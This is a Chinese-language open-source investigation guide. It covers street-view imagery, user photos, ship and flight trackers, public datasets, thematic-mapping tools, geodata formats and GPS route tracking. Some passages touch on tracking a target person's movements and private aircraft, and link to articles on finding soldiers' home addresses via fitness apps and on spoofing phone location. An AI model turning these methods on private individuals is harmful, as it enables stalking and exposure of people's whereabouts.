例如，搜索“街头艺术”，并指定国家为“巴西”，可能会返回比一般搜索“街头艺术”更多的巴西街头艺术图片。然而，它也可能包括巴西度假者在柏林拍摄的街头艺术照片，然后在他们回到巴西后上传到一个网站。

通过在 https://images.google.com/ 中输入搜索词来尝试此操作。您将被带到图像搜索结果页面。

转到搜索栏下方的设置，然后选择高级搜索。

在“高级搜索”页面上，“区域”选项可让您选择特定的国家/地区，并将搜索结果缩小到从那里上传的图像。

2、使用街景视图查找图像并验证信息

「图」

计划行程时，街景图像会很有用，它可以让您了解某个地方的状况，并在出发前对其进行熟悉，因此，一旦到达该地点，您便可以更有效地专注于需要查找基于您的调查的特定信息。

街景视图对于获取特定位置或建筑物上的信息很有用 —— 外部标志或入口附近的 logo 可能表明目标公司位于该建筑物内。

当您的调查涉及虚构地址的案件时，这也是很有帮助的，虚构地址常见于公司为非法金融交易或其他不明确的目的而设立的假信息。

例如，您可能会发现目标公司官方文件中登记的地址实际上并没有出现在地图上，或者该办公楼实际上已经废弃，没有任何活动发生。

然而，您可能需要通过使用多个地图平台和其他来源来核实，因为地图和图像数据库有时是不准确的或过时的。

请注意，一个地方的某些方面可能在拍摄图像后发生了变化 —— 一家公司可能已经迁出，或者在以前的空地上建造了一座新的建筑 —— 因此，检查图像记录的日期并验证信息是否仍然准确非常重要。

以下是访问街景图像的一些选项。

Google Street View

谷歌街景可以在 Google Maps（不是 Google Earth）中找到。它包含在地面拍摄并拼接的360度详细照片，让用户可以沿着街道“旅行”，了解一个地方的样子，从建筑物的高度到门上的标志，再到某个地点的景色。

谷歌街景最初只限于道路，但现在包括了其他领域，比如国家公园的小路。在屏幕右下角的状态栏和屏幕左上角的深灰色半透明框中都可以找到图像拍摄日期。

📌 谷歌街景是有局限性的。要知道，它并不能平等地覆盖世界上所有的地点，有些地方根本无法使用。这可能是由于当地的隐私法规限制了它的使用，比如在德国或奥地利，它被限制在主要城市，而且图像中的编辑程度较高 —— 例如，人们的脸部或车牌的模糊。

在其他地区，如白俄罗斯、摩尔多瓦、巴拉圭、委内瑞拉、刚果（金）、塞拉利昂等，由于政治原因或可及性问题，覆盖范围有限。在这里，您可以通过向下滚动到 “Where we’ve been”，查看谷歌街景在世界各地的覆盖范围。

3、Google 街景视图中的历史图像

「图」

对于一些地方，还可以访问历史街景图像。在左上方的深灰色方框中，点击日期旁边的时钟图标。这将弹出一个滑块，您可以用它来浏览同一地方的早期视图。

这可以让您深入了解一个地区的变化，有助于确定一家目标公司何时迁入某栋建筑，或显示一个地区的建设进度等等。出于上述同样的原因，该功能也有局限性。

谷歌街景中似乎并没有始终如一地保留历史图像。常见的情况是，以前有历史图像的地方会被删除。例如，在撰写本时，旧金山街景中的历史图像被删除了。这意味着，如果您的调查目标位置目前有历史图像，您可能要采取措施立即捕捉这些信息 —— 例如通过截图 —— 以防止完全丢失。

🔧 Yandex Street View

与谷歌地图相比，Yandex 街景选项大大减少，主要适用于俄罗斯、乌克兰、白俄罗斯、哈萨克斯坦、亚美尼亚和土耳其。但这些国家的

城市覆盖面往往比谷歌地图提供的更详细。

历史图像是可以提供的，但主要限于上述国家。

🔧 Baidu Street View

百度的街景图像可以在中国主要城市使用，但不能覆盖大多数农村地区。

🔧 YouTube videos

在一些很少有街景图像的国家，司机通常会在车辆的仪表盘上安装摄像头，以便拍摄并通过 YouTube 分享行进地点的图像。虽然这可能比上述街景图像的分辨率低，但在没有其他图像的情况下，它可以成为一种有用的资源。

通过搜索栏搜索 dashcam ＋ 位置 —— 例如 “dashcam Sarajevo”，然后您可以按地点或按视频发布的日期过滤搜索结果。

4、在 Google 地图和 Google 地球中查找用户照片

「图」

用户已将数千张照片上传到 Google Maps 和 Google Earth。

对于拍照好的地方，比如大城市的旅游景点，有很多照片，这些照片不仅可以帮助您建立一个地方的形象，还可以帮助您了解这个地方的变化。周三是否总是有市场？广场周围的商店是否有变化？是否有新的建筑建成，或者有的被拆除了吗？……

通常也可以找到一些拍摄较少的地点的图片，包括一些被排除在谷歌街景之外的地点。

5、Google 地图中的照片和360º图像

「图」

在谷歌地图中，可以通过点击屏幕左侧地图搜索栏下的 “Photos” 部分来查找照片。选择了这个部分后您就可以通过屏幕右下角的双箭头图标或通过滚动左侧菜单来浏览可用的图像。

点击并按住街景图标，将显示地图上街景所覆盖的地方，以及用小圆

圈表示的360度照片的位置。将街景人物小图标落在其中一张照片上即可打开，或落在高亮的道路上即可打开街景本身。

在这两种情况下，图片的日期都会显示在左上角的灰色框中，同时还有摄影师的个人资料照片。点击个人资料照片就会进入这个人的谷歌地图照片页面，在那里您可以看到他们拍摄的其他照片，在地图上，也可以在侧边栏中，按日期或评论排列。

在紧靠照片上方的侧栏中选择 “按日期排序”，然后向下滚动，可以看到更多的照片地点出现在地图上。

6、Google Earth Pro 中的照片和360图像

「图」

谷歌地球包含了谷歌地图中的照片，以及谷歌地球特有的大量360º照片，其优势在于图标显示了地图上已有的可用照片的位置。

在Google地球中，选择边栏中的 “photos” 层以查看照片和360º照片图标。

点击照片图标会打开一个框，显示照片以及摄影师的个人资料信息。要想找到这张照片的日期，点击个人资料图，会在网络浏览器中打开一个新的标签，并将您带到这个人的谷歌地图照片页面。

在侧边栏中，选择紧靠照片上方的 “按日期排序” 选项，然后向下滚动，可以看到更多的照片位置出现在地图上。

向下滚动到足以让相关照片/地点出现在地图上，点击地图上的图钉，然后照片将以缩略图的形式显示在侧栏中。点击缩略图以完全打开照片，日期将显示在右下角的状态栏和左上角的方框中。

点击红色的360图标，会打开一个框，显示360的平面图片。紧挨着左边照片的上方，有一个 “view this image on 360 cities”的链接。

点击该链接 https://360cities.net，在这里您可以以球面图像的形式查看。向下滚动页面您会发现关于摄影师的进一步信息，以及图片的拍摄和上传日期。

在专题地图中可视化数据集

「图」

有许多现有的数据集可以使用地图进行可视化。有些信息，如受保护生态系统的边界或货船的运输路线，只有在地图上查看才能正确理解。其他信息，如显示世界各地婴儿死亡率的电子表格，可能是原始形式的，但将其放在地图上可以成为分析其可能包含的模式的宝贵方法。

📌 本节将介绍一系列可能对您的调查有用的网站和应用程序。有些网站提供了已经可视化的数据，有些网站让您自己寻找数据下载并绘制地图，还有一些网站提供了制作自己的地图的工具，以便对数据进行可视化和分析。

访问已经映射的数据

「图」

许多拥有数据集的组织也将地图和可视化工具作为其数据门户的一部分。以下列表旨在让您了解现有的资源和专题地图的类别，同时也展示了一些使用地图进行信息可视化的方法。

每个类别下都有更多的资源，因此您可以将其视为一个起点，而不是一个全面的目录。

1、船舶交通

「图」

🔧 Marine Traffic

根据自动识别系统(AIS)数据，提供关于船只位置、细节和航行相关信息的实时地图。

除了AIS接收器(地面天线)，Marine Traffic (和其他此类平台) 还从卫星接收器收集船只数据。获取卫星数据往往需要支付一定的费用，如果您计划进行较长时间的研究可以注册它的年度使用权。

🔧 Global Fishing Watch

一张地图显示了大约300,000艘最大的商业渔船的最新位置，以及关于这些船只下落的历史数据。

获取数据是免费的，但需要在 Global Fishing Watch 上建立一个账户。可以选择通过 Facebook 或 Twitter 访问，或者使用电子邮件地址创建一个单独的账户。

📌 出于隐私和安全考虑，建议您使用后一种选择，并创建一个新的单独的电子邮件账户，仅为此目的使用。

2、找飞机

「图」

🔧 Flight Radar

实时地图显示商业飞机的位置，以及航班号和航线信息。通过航班号搜索，您可以跟踪个别飞机。

🔧 FlightAware

一个免费的服务，让您可以跟踪全球大多数商业航班的实时飞行状态和位置，以及美国和加拿大的包机和私人飞机的下落。

- 还有一个，也可以用来追踪私人飞机，在这里：https://www.patreon.com/posts/ru-he-zai-quan-38738040

3、森林覆盖

「图」

🔧 Global Forest Watch

从2010年至今的全球树木覆盖变化图。

4、空气污染

「图」

🔧 European Environmental Agency

欧洲各地空气质量数据的实时地图，可选择查看整体空气质量以及颗粒物、一氧化碳、臭氧、二氧化氮和二氧化硫的浓度。该地图每小时更新一次。

🔧 **World’s Air Pollution**

世界各地空气质量的实时地图，并有各国空气质量监测机构的链接。

5、采矿与资源

「图」

🔧 **USGS Worldwide Mineral Resources Online Spatial Data**

美国地质调查局(USGS)提供全球矿产资源的历史数据，包括矿山所有权的信息，所有这些都可以在用户友好的地图上找到。

请注意，其中有些信息已经过时。原始数据可在以下网站下载：https://mrdata.usgs.gov/mrds/。

联合国数据

「图」

许多联合国下属组织都有可下载的数据集，有些组织还有在线可视化工具，但许多组织的重点是图表和图形，而不是地图。

组织网站上的特别报告和可视化是寻找可能对您的调查有用的地图的好地方。

例如：

🔧 **UN Cartographic Division**

联合国有一个制图部门，包括大部分与人道主义和维和行动有关的地图。

🔧 **UNHCR maps portal**

难民专员办事处（联合国难民事务高级专员）有大量有关当前难民情况的地图可供下载。它还提供了大量流离失所者分布的地图。

这些地图主要显示的是统计数据（而不是移徙路线等），通常每周更新一次。在地图的同一页上还有更多的统计数字和相关报告的链接，请点击这里：https://data2.unhcr.org/en/situations。

🔧 **World Bank**

世界银行数据门户网站具有在线可视化工具，您可以使用该工具以地图的形式查看其数据：http://databank.worldbank.org/data/source/world-development-indicators/preview/on

在网站上，您可以选择世界银行的一些数据集，然后点击屏幕右上方的地图按钮即可查看。

制作专题地图

「图」

专题地图是显示与特定主题有关的信息的地图，如空气污染、森林覆盖率、或选举结果等。

如果您能下载数据集，并将其可视化和分析，它将帮助您解开您可能无法获得的信息。它还可以帮助您了解其他地方没有的故事和细节。以下是一些有用的公开数据资源，以及通过可视化将它们变为现实的工具。

注：上一节中所述的许多资源也提供原始数据，以便于下载 csv 或 excel 文件。例如，全球捕鱼观察的数据可在这里获得：https://globalfishingwatch.org/datasets-and-code/。

数据库和资源

「图」

为了通过数据创建地图，数据需要被地理参考，换句话说就是，要链接到一个实际的地方，例如一个国家、地区、街道地址、邮政编码或GPS坐标。

下列国际数据库载有可能对您的调查有用的地理参考数据。此外，大多数政府都有自己的数据，可从其网站上下载。

1、联合国

「图」

🔧 **United Nations Data**

联合国和其各组织收集了大量的数据，涉及健康、环境、金融、食品和农业、能源、贸易、教育、文化等各个方面。这些数据几乎总是与特定国家相关联。

在某些情况下，这些数据是在很长一段时间内收集的，可以追溯到几十年前，这使您可以衡量随着时间的推移而发生的变化。各个联合国机构都有与其特定领域相关的额外数据集。

2、多边组织

「图」

🔧 World Bank

🔧 World Trade Organisation

🔧 International Monetary Fund

3、欧盟

「图」

🔧 Eurostat

欧统局是欧盟委员会的一个局，负责向欧盟各机构提供统计信息，并从欧盟成员国、欧盟候选国和其他国家收集数据，一致性的统计方法。

4、国家政府数据库

「图」

大多数国家政府都设有统计部门，其数据集往往是公开的。例如，巴西有巴西地理和统计研究所 (IBGE)，摩尔多瓦有摩尔多瓦统计局。

这些统计部门是联合国大部分数据的来源，联合国将各个国家的数据汇总成全球数据集。维基百科提供了国家和国际统计服务和在线资源的综合清单。

5、非政府组织和智囊团

「图」

许多非政府组织和智囊团产生研究和数据，并公开发布。示例包括：

透明国际 Transparency International —— 将其全球腐败指数和腐败观念指数作为互动地图提供，并提供数据供下载；

Tax Justice Network 的金融保密指数地图，其数据可在此处下载：https://financialsecrecyindex.com/explore/excel

本节中的工具可用于创建简单的专题地图。

📌 专题地图的一些主要类型是：

Choropleths: 地图上的不同区域用颜色表示统计上的差异，如投票率或预期寿命。

Symbol maps: 在地图上放置不同大小和颜色的符号或形状。符号图可以用来说明两个或更多的数据集 —— 例如，世界各地的地震次数及其强度。

Heat maps: 显示强度的变化，例如 整个城市的空气污染差异。

许多常用的数据可视化应用程序免费提供其软件的有限版本。这些工具被设计为简单直观，使您可以非常快速地开始工作。

📌 提示：选择正确的工具

「图」

选择适合您的研究和调查需求的工具时，需要考虑多种因素和问题。比如下面这些：

- 您创建的地图是公开的吗，还是可以私密的？
- 用于创建地图的数据可以公开吗？如果您正在使用敏感的数据，因此需要保密，请确保仔细检查使用此服务时是否会将这些数据公开。
- 该工具是否随附您需要内置的基本数据（例如，选举地区边界，国家/地区的轮廓、以及其中的地区/县）？如果不是，您是否可以从其他来源导入此基础数据或自己创建呢？
- 您是否可以制作所需的所有地图，或者限于特定数量？
- 是否可以按照您想要的方式设置地图样式，例如通过选择颜色

或做出其他图形决定？如果您要发布地图，并且例如需要使用某些颜色以适合出版物的样式，那么这就是主要的问题。如果是出于数据分析的目的，样式化地图的能力就不那么重要了。

🔧 Datawrapper

Datawrapper 允许您制作断层图和符号图。它有一个广泛的基础地图，如果您找不到要找的东西，也可以上传您自己的地图。

如果您停在制作地图的 “可视化”步骤上，可以不公布您的地图（因此是私人的）。

地图将在右上角菜单中的 “my charts” 中显示出来。一旦您发布了您的地图，在您被要求支付软件费用之前，它们可以被查看多达10,000次。

Datawrapper 还有许多其他的数据可视化工具来帮助分析您的数据（以及随后的交流），包括柱状图、散点图、区域图、饼图和表格的模板。这是一个在线工具，所以您需要互联网连接来使用它。

🔧 Tableau public

Tableau 允许您制作脉络图、符号图和热图，以及起源/目的地图和描述流量和路线的地图。

您需要将该软件下载到桌面。用来创建地图的数据和地图本身都将是公开的，这意味着如果您使用的是需要保密的数据，Tableau 的免费版本可能不适合。

🔧 QGIS

与 Datawrapper 和 Tableau 相比，QGIS 更复杂，也不那么直观，但它确实有一些主要优势。

它是免费和开源的，您的数据和您创建的地图都是保密的，而且软件功能非常强大，提供了一系列的分析和数据处理工具。

您可以在一天左右的时间内学会如何使用它的基本功能，而且网上有许多教程和资源可以帮助您。其中包括 QGIS 用户指南、其 Gentle GIS 简介以及 Spatial Query Lab 的这套 QGIS 课程。

该软件还可以离线使用，因此不需要互联网连接。

在 QGIS 中创建的地图通常会被输出到图形设计软件中，在那里可以更容易在发布前调整颜色、线条权重和文字。

绘制，测量和分析基准图

「图」

在调查过程中，在现有的参考地图上叠加其他地理数据可能是有用的。可以是指画一条线来描述一条路线，以便测量距离和旅行时间，上传一个受保护的国家公园的轮廓，以便与地图上的其他数据（如进行过伐木的地点）进行比较，或导入一份坐标表，显示您正在调查的个人或公司拥有的所有财产的位置，等等。

可以使用 Google Earth Pro 可视化此类添加。

该软件是免费的，并且您导入的数据和制作的地图可以保密。

数据格式入门指南

「图」

地理数据和相关图像采用多种不同的文件格式，这可能会使初学者感到困惑。在使用基准图或任何其他类型的地图时，您将面临很多此类挑战。

本节将介绍通常用于数据库、地图制作和技术制图的文件格式，以及如何在 Google Earth 中轻松使用其中的某些文件格式。

本指南中描述的许多软件和平台都可以使用多种文件格式，但是如果需要，也可以使用免费的简单工具在不同格式之间转换数据。

地理参考矢量数据格式

「图」

矢量数据是地理数据，存储为一系列点、线和多边形。示例包括道路、建筑物和国家/地区轮廓。

1、KML / KMZ文件

KML (Keyhole Markup Language) 是 Google Earth 中用来存储点、

线和多边形的主要格式，且可以在大多数其他地图制作应用中打开。这些文件包含几何信息 (点、线、多边形等)，加上少量的文字 (如地名)。

在 Google Earth 中，可以通过计算机上的文件菜单打开不同格式的文件：**File 」 Open** ，然后选择相关文件。

KMZ 文件是压缩的 KML 文件。您可以在此处找到免费的工具，以便将 Excel 文件转换为 Google Earth KML。

2、SHP (shapefiles)

这是最常见的地图文件格式之一，被广泛的地图制作应用程序使用。它可以存储几何信息，以及描述特定点、线或多边形的详细数据库。

例如，shapefile 可能包含一个国家的轮廓和关于该国的详细数据库，如该国的名称、人口等信息。

shapefile 实际上是一个文件的集合（shp、shx 和 dbf 是基本必须存在的）。例如从一个保存地籍（即土地所有权记录）信息的政府网站上下载数据，通常被下载为一个 .zip 文件。一般来说，只需将整个.zip文件导入到地图绘制应用程序中即可。如果您解压缩了.zip文件，单独文件仍然必须保存在同一个文件夹中，才能正常工作。

在 Google Earth 中，可以通过计算机上的 “文件” 菜单导入SHP文件：**File 」 Import** ，然后选择相关文件。

数据库格式

「图」

1、CSV文件

CSV是 “逗号分隔值”（有时也称为字符分隔值）的缩写。这是一种简单的数据库格式，可在大多数电子表格和数据库应用程序中打开，并可导入许多地图制作应用程序。

为了将这些数据放在地图上，它必须包含位置信息，如 经纬度坐标或地址。

例如在 Google Earth 中，可以通过文件菜单导入CSV文件：**File 」 Import** ，然后选择相关文件。这将打开一个对话框。首先您

需要指定文件中的字段的分隔方式（例如用逗号），然后点击“下一步”。

下面的对话框将询问 CSV 文件中的位置数据。如果您的文件不包含经纬度信息（而是用地址代替），那么点击并选择该框：“此数据集不包含经纬度信息，但包含街道地址”。

下一个对话框将要求您指定相关地址信息在哪个或哪些字段中。此功能取决于谷歌地图是否拥有正确的地址信息，因此并非完美无缺 ——如果您要使用它，可能需要对地点进行验证。

如果您有经度和纬度信息，请选择包含每个这些坐标的电子表格的列。

最后一个对话框允许您指定电子表格的每一列中包含的数据类型。是可选项。

单击完成以将数据添加到您的地图。

📌 注：

有时，多条信息都指向相同的经纬度坐标，这意味着一系列事件或事物都位于完全相同的地方（即使不是）。多个具有完全相同地理坐标的条目也可以说明该信息是如何或在哪里被记录到数据库中的，并不一定要反映出一个事件的实际发生地。

例如，这个问题可以在国际移民组织的失踪移民数据库中看到，数据库中的大量个人条目 (每个条目都是指导致一些人死亡或失踪的事件) 都指向同一个点。这不可能意味着每个人都是在同一地点死亡或失踪的，因此记录的地点可能是报告所有这些死亡和失踪事件的警察局。

2、Excel文件

这是一种最常见的电子表格格式。在将其导入某些地图制作应用程序之前可能需要将其转换为CSV格式。

这种转换可以在电子表格程序中使用“另存为”功能完成。许多有数据可供下载的组织都会使用这种格式。

航空影像和光栅图（位图）的影像格式

「图」

您想添加到地图中的一些数据可能是光栅图像格式，可能包括用无人机或风筝拍摄的详细航拍照片、纸质地图的数字图像、或通常只提供光栅文件的数据，如土地使用和海拔图。

1、JPEG

JPEG 是光栅图像的常用格式。您经常会发现这种格式的照片、卫星图像和地图的数字扫描。

2、TIFF

GeoTIFF 是一种包含地理坐标信息的图像格式。这意味着它可以直接上传到测绘平台，并将出现在地图上的正确位置，而不需要手动放置。

图像的比例尺（覆盖的区域）和位置信息通常存储在附带的.tfw文件中，该文件应始终保存在同一文件夹中。

3、通用技术图纸格式

DWG 和 DXF (Drawing eXchange Format) 是建筑师、图形设计师和工程师使用的技术绘图软件中常见的格式。它们包含几何信息（点、线、多边形），并不总是地理参考。它们可以导入(和导出)许多地图制作应用程序。

4、转换文件格式

Geoconverter 可转换制作地图时常用的多种数据格式。

在地图上测量：路线、大小、距离、面积

「图」

大多数地图应用程序允许您在地图上测量事物。您可以计划或检查潜在的路线和时间、测量建筑物或新的森林砍伐的面积，或找出在给定时间内可以行驶的距离。

此类工具不仅可用于计划研究行程，而且还可用于验证信息真伪，例如，您所调查的人在声称的时间里是否已经踏上了旅程。

1、Rome2Rio

「图」

Rome2Rio 是一款为规划较长旅程而开发的应用程序，涵盖了所有交通方式，包括航班。对于每条路线，它给出了各种交通方式的选择，将每段行程分成几个阶段，然后给出交通公司、行程时间和每段行程的指示性价格。还提供了相关公司网站的链接。

2、本地旅行应用

「图」

许多国家和一些大城市都有自己的应用程序，涵盖公共交通、出租车和自行车或摩托车共享系统。

例如，这些应用程序可能会提供关于交通服务的更详细和更及时的信息。公交车、火车、渡轮和其他运营各条线路的公司可能会提供更多信息，例如更详细的时间表（包括历史或季节性变化）以及价格。

一些例子是荷兰国家铁路公司的官方应用程序，罗马尼亚主要城市的 Transport Urban，以及哥伦比亚波哥大的 Transmilenio y Sitp 旅行计划。

在 Google Earth 中绘图和测量

「图」

谷歌地球有许多简单的绘图和测量工具，可以帮助您标记对您的调查很重要的地方，并确定卫星图像中特征的大小（如新的森林空地）或计算路线的长度。

虽然许多旅程长度和时间可以使用上述应用程序进行分析，但在某些情况下，能够自己绘制和测量东西是很有帮助的。

您可能正在测量一条穿过荒野地区的路径，而这条路径并没有被任何应用程序所包含，或者您所做的旅程并不符合移动应用程序中指示的方向。或者您可能想看看移动应用没有给您提供的其他可能性 —— 例如，谷歌地球让您画圈，可以显示位于给定点的一定半径范围内的一切。利用距离和行进速度，可以粗略地估算出旅行时间（完整的细节见下一节）。

最后，通过使用 Google Earth Pro 中的绘图工具，可以将这些信息保

存起来，以便日后返回并进一步分析，或将其导出，以制作有助于解释调查数据的可视化。

1、Placemarks

「图」

Placemarks 用于标记和保存可能与您的调查有关的特定地方，以及添加少量信息，如 地方名称或经纬度坐标。还可以添加简短的描述性文字、照片和链接。

要添加 Placemarks，请转到 **Add 」 Placemark**，或单击工具栏中的图标。这将会在当前地图视图中心附近放置一个图钉，并打开一个对话框，您可以在其中添加更多信息。

当您将图钉图标拖动到地图上的正确位置时，对话框需要保持打开。然后您可以添加更多关于这个地方的信息，并点击 “保存” 将其添加到 “地点” 侧栏。在搜索栏中搜索一个地方（名称）或经纬度，也会在相关位置创建一个 Placemarks，然后可以保存。

Google Earth 中的绘图工具可以通过 **Tools 」 Ruler**、或者点击屏幕顶部工具栏中的 “标尺” 图标来找到。这将打开标尺对话框。您所画的任何东西都可以保存起来供将来参考（它将显示在 “places”面板中），如果您不再需要它，也可以从地图中清除。单位可以从公制改为英制，根据测量对象的大小和所需的测量单位，将其变大或变小（米、公里等）。

📌 Google Earth 中包括许多绘图和测量选项：

1、**Lines:** 两点之间的一条简单线，用于测量飞行距离。

2、**Paths:** 一系列的连接线。允许您绘制和测量更复杂的路线。“show elevation profile” 选项将在屏幕底部显示一个部分，描述您所绘制的路线上不断变化的海拔（对于规划穿越丘陵地区的旅程非常有用）。海拔面板中的滑块对应于地图上路径上的红色箭头：移动滑块可以显示沿途任何给定点的海拔和坡度，同时移动地图上的箭头以显示坡度。

3、**Polygons:** 该工具绘制封闭的多边形，并向您显示面积和周长。使用此工具可以测量卫星图像上的区域。

4、**Circles:** 这个工具可以画一个圆，先画中心点，再画半径。它给出圆的半径、面积和周长。在计算某项服务的大致服务范围时（例如，找出医院附近30公里范围内的所有村庄）、或者在试图确定在一定时间内从某一特定点出发的路程时（例如，画一个半径为400米的圆，可以确定步行5分钟内的所有公交站点），它都会很有用。

5、**Elevation and lat-long:** 当您将鼠标悬停在一个点上时，地图右下角的状态栏中会显示出海拔和经纬度。

2、计算平均行驶速度

「图」

如果您知道两点之间的距离，就可以用平均行车速度来粗略估计行程时间。这在估算诸如步行5分钟内是否有公交车站、或一天能走多远等问题时很有用。

实际速度显然取决于地形、地面、体能、身高、体重、努力程度以及人是否携带任何东西，但基于距离的估计提供了一个有用的经验法则。

通常认为平均步行速度为 5 km/h或 3mph。

对于自行车来说，速度取决于自行车本身、骑行者的体能和道路及交通状况。在哥本哈根，骑自行车上下班的人很多，平均骑车速度为15.5公里/小时或 9.6英里/小时。一个体格合理的骑行者，在平坦的道路上骑一辆公路自行车，平均速度约为25公里/小时。

3、使用建筑物和景观的3D模型

「图」

3D模型的作用不仅仅是在去一个地方之前让您熟悉那里的情况；它们还可以帮助您对照片进行地理定位，让您确认目标景观究竟是从哪个特定地点拍摄的 —— 例如，山丘是什么样的，或者可以看到哪些建筑物。

4、Google 地球中的地形和3d建筑

「图」

谷歌地球包含一些有3D模型的图层，包括景观（地形）和建筑物的模型。这些图层使用相当多的处理能力和带宽，这可能会导致您的卫星图像加载更慢，所以您可能想保持这些图层关闭，如果用的不多的话。

它们可以在图层面板中打开，位于左侧栏。3d地形以 “Terrain” 的形式出现，建筑物和树木模型出现在 “3d buildings” 部分，可以展开以呈现许多选项。

建筑物可以显示为简单的灰色、三维形状（使用较少的处理能力和数据），也可以显示为详细的照片渲染。也可以在某些区域显示树木的3D模型。

5、收集自己的数据并将其放置在地图上

「图」

收集自己的位置和调查数据，并将其放在地图上，是记录自己去过的地方和收集到的某些材料的好方法。这也是标记您的调查目标的好方法。

区域详细地图可以用来记录一个地方发生的相关情况，比如地震后建筑物的裂缝、被砍伐的森林面积、或者枪击发生后街道墙壁上的弹孔。

任何可以参考到特定地方的数据都可以添加到地图上。您可以使用基本的测量技术和简单的工具，如卷尺、纸和笔，从头开始创建地图或添加到现有地图中。您还可以使用手机的GPS和定位工具来跟踪位置，准确地确定重要地点。

📌 您的地图中显示的一些边界可能是政治敏感的或有争议的。此外，一些地区可能有不同的名称，可能带有政治色彩。在渲染您自己的地图数据或使用历史数据时，您可能会遇到这种情况。与熟悉该地区的人合作可以迅速帮助指出这些问题。

6、了解位置坐标

「图」

经纬度坐标系统将地球划分为水平和垂直线的网格，并用于精确查明任何位置。

纬度和经度坐标可以多种格式编写：

- Degrees / minutes: 52°31.86797’ N, 013°24.03009’ W
- Degrees / minutes / seconds: 52°31’52.0784” N, 013°24’01.8054” W
- Decimal: 52.5311329 lat, -13.4005015 long. 赤道以北为正（通常不加符号），以南为负（以 “-” 标记）。本初子午线以东为正，西为负。

📌 某些软件要求以特定格式提供纬度和经度数据。可以使用简单的Web应用程序（例如 Earthpoint）来转换格式。也可以使用在线转换器，如 latlong.netCalculator Soup 等。谷歌地图也会在您搜索时自动转换和显示这些坐标。

7、通过手机在Google地图中查找坐标

「图」

通过手机上谷歌地图标记坐标是一个很好的方法，可以为您的调查保存重要的地方。这可能包括您拍摄某张照片的地点，或者在一天中的某个时间看到属于目标人的汽车的地方。

但是，如果您需要进行非常精确的测量，这就不合适了。

要实践这个方法，点击当前位置图标，将地图的中心放在您当前所在的位置上。一个蓝点会显示您的大致位置 —— 这是 Google 根据它所掌握的信息，对您所处位置的最佳猜测。

在蓝点周围有一个较宽的半透明圆圈，显示的是谷歌认为的可能区域（圆圈越大，蓝点显示的位置精度越低）。即使是一个粗略的位置，在地图上显示时，也可以帮助确定您的精确位置。

当您找到自己的实际位置后，在屏幕上长按该位置，在地图上放置一个图钉。该地的经纬度坐标会出现在屏幕底部。

谷歌可能不会以一种允许您轻松检索的方式保存它们，所以考虑把它们写下来，复制到剪贴板上，然后粘贴到便签上，或者至少拍一张截图。

点击图钉以查看任何相关信息，然后您可以选择保存图钉，这可能是一个有用的方式来跟踪这些数据（虽然您仍然需要手动转移到其他地

方）。

除非与谷歌共享这些信息，否则您不能给图钉添加一个标题，但您可以将其保存到手机或电脑上的私人列表中，并添加注释，例如您之前保存的经纬度坐标。将这些点添加到谷歌地图上必须手动完成，逐一输入坐标和标签。

谷歌会给您一个小数点后六位的经纬度，理论上，这可以让您把一个位置精确到实际位置的11厘米（5英寸）以内。但实际上，在谷歌地图上很难如此准确地标记位置，因为地图或卫星图像不够详细，无法放大一个小物体。

出于这个原因，对于进行小区域的详细勘测来说它并不是一个合适的方法，例如建筑物的损坏图。而应该用模拟的方式，用一把测量尺、一支笔和一张纸来完成。

📌 一些常见的应用程序，包括谷歌地图和 WhatsApp 等，允许您在有限的时间内与特定的人分享您的实时位置。这个功能可能会有潜在的帮助，比如 作为安全措施，允许同事在您调查危险状况期间跟着您的位置，一旦有事发生可以及时被知晓。

⚠ 另一方面，在调查期间，如果其他不怀好意的人对您的行踪感兴趣，能够访问您分享的数据，那么分享您的实时位置就会使您处于风险之中。

📌 请只与您信任的人分享您的位置。在研究敏感话题时，或者如果您怀疑自己可能被监视的时候，应该避免在没有使用加密的情况下分享或存储您的位置。

8、追踪路线

「图」

跟踪自己的路线是记录自己在调查过程中去过的地方的好方法。这样做可以方便以后参考这些地点的其他信息，或者了解更多关于这些地点的信息。这些信息可能包括您拍摄的照片或您进行的采访。

有许多不同的应用程序可以跟踪您的路线，它们的准确性和范围各不相同。在使用手机作为定位追踪器时要非常小心，因为手机在茂密的植被中可能会失去GPS连接，在密集的城市地区更可能提供不准确的数据 —— 见 《如何通过欺骗Wi-Fi热点来更改手机坐标》。

有一些外部设备可以连接到手机上，提供更稳定的数据。iOS 的 Bad Elf GP for lightning connector 和 Android 的 Globalstat Micro USB 是两个例子。

📌 数据安全也需要考虑到 —— 您可能不想让应用程序、操作系统和移动服务提供商在您调查过程中一直追踪您的位置。

1、GoogleMaps

「图」

可以在 Google 地图中跟踪您的位置。

在菜单中，进入时间轴，地图上会显示您一天内的行踪。点击右上角的日历，可以查看您前几天的行程图。

地图上只会显示粗略的路线，但对您到达和离开特定地点的时间却相当准确。

📌 保证您的位置数据安全！

如果您需要对自己的数据、通讯和行踪保密，这个功能与其说是一种祝福，不如说是一种诅咒。

只有在绝对必要的情况下，或者在你认为非常安全的条件下再使用它。

相反，可以考虑在调查时寻找其他方式来追踪您的日常行踪，比如手动标记地点和细节，或者使用打印的地图。

您的安全 —— 以及您的数据、您的消息来源和您的合作者的安全 —— 应该永远是应该优先考虑的问题。

在许多情况下，禁用手机和其他具有位置跟踪功能的设备的此类功能才是明智的。大多数智能手机允许您在 “位置设置” 中关闭它。

2、健身应用

「图」

健身应用可以成为追踪路线的好方法，因为它们通常会相对频繁和精确地读取位置，以及记录海拔等数据点。

这些信息可以提供有用的提醒，让您知道自己去过的地方，并帮助您与其他信息交叉参考位置。

- 这里是一个很好的追踪演示《如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？》

请记住，这些应用程序往往耗电量比较大，所以可能不是最好的选择如果您长途跋涉的话。Nike Running Club 是提供详细地图数据的健身应用的一个例子。

3、将路线数据导入 Google Earth

「图」

Google Earth 有一个工具可以从 Garmin 和 Magellan 等手持GPS设备导入 GPS 轨迹。

要做到这一点，前往 Google Earth 中的 **Tools** 」 **GPS**。另外也可以通过 **File** 」 **Import** 来导入轨迹。这些文件的扩展名通常为.gpx、.loc 或 .mps。

4、进行小范围的调查 —— 低技术含量的方法

「图」

对一个地方进行详细的勘察，对某些调查来说是有用的。例如，它可以帮助您准确记录一栋或多栋建筑物遭受的地震破坏情况，或者记录枪击事件后弹孔的位置。

这种方法技术含量低，但这并不意味着它应该被认为是一种低劣或业余的技术：许多专业人士，包括建筑师和工程师，都使用这种方法来获得最准确的测量结果。

📌 您需要的东西：笔、纸，量尺。

练习时，在附近一个您能方便、合法进入的地方做一个调查；家或办公室的花园或院子都可以。

